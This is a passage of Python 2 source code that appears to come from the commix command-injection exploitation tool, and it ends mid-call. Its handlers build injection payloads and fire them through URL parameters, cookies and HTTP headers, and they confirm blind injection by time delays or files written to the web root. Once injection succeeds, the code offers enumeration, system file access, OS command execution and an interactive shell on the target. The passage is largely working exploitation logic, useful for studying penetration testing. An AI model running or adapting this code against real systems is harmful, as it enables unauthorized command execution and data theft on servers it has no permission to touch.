"' must be a string composed by the letters C, E, T, F. " err_msg += "Refer to the official wiki for details." print settings.print_critical_msg(err_msg) raise SystemExit() # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_critical_msg(err_msg) raise SystemExit() # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')." print settings.print_critical_msg(err_msg) raise SystemExit() if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_critical_msg(err_msg) raise SystemExit() # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_cred and settings.VERBOSITY_LEVEL >= 1: success_msg = "Used a valid pair of " + menu.options.auth_type success_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." print settings.print_success_msg(success_msg) # Load the crawler if menu.options.crawldepth > 0 or menu.options.sitemap_url: url = crawler.crawler(url) try: if menu.options.flush_session: session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: if not settings.USE_BACKTICKS: settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: checks.file_upload() try: urllib2.urlopen(menu.options.file_upload) except urllib2.HTTPError, err_msg: print settings.print_critical_msg(str(err_msg.code)) raise SystemExit() except urllib2.URLError, err_msg: print settings.print_critical_msg( str(err_msg.args[0]).split("] ")[1] + ".") raise SystemExit() try: # Webpage encoding detection. requests.encoding_detection(response) if response.info()['server']: server_banner = response.info()['server'] # Procedure for target server's operating system identification. requests.check_target_os(server_banner) # Procedure for target server identification. requests.server_identification(server_banner) # Procedure for target application identification requests.application_identification(server_banner, url) # Store the Server's root dir settings.DEFAULT_WEB_ROOT = settings.WEB_ROOT if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: menu.options.current_user = True # Define Python working directory. checks.define_py_working_dir() # Check for wrong flags. checks.check_wrong_flags() else: found_os_server = checks.user_defined_os() except KeyError: pass # Load tamper scripts if menu.options.tamper: checks.tamper_scripts()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print settings.print_critical_msg(err_msg) whitespace = checks.check_whitespaces() if settings.VERBOSITY_LEVEL >= 1: info_msg ="Testing the " + technique + "... " print settings.print_info_msg(info_msg) # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION: cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" else: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell : payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) else: payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if delay <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": delay = delay + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))" # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" #break else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = str(float_percent) + "%" print "" # Print logs notification message logs.logs_notification(filename) #raise else: percent = str(float_percent) + "%" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == "win": time.sleep(1) new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if len(file_access_again) == 0: file_access_again= "y" if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) if not new_line : print "" try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal shell? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if len(gotshell) == 0: gotshell= "y" if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) except KeyboardInterrupt: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results... " print settings.print_info_msg(info_msg) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) sys.exit(0) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = fb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise urllib2.HTTPError( url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries ) and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print "" while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " sys.stdout.write( settings. print_question_msg( question_msg)) tmp_upload = sys.stdin.readline( ).replace("\n", "").lower() else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg( err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent ) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str( float_percent ) + "%" else: percent = str( float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if menu.options.verbose > 1: print "" print settings.print_critical_msg(err_msg) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + str( checks.url_decode(payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, 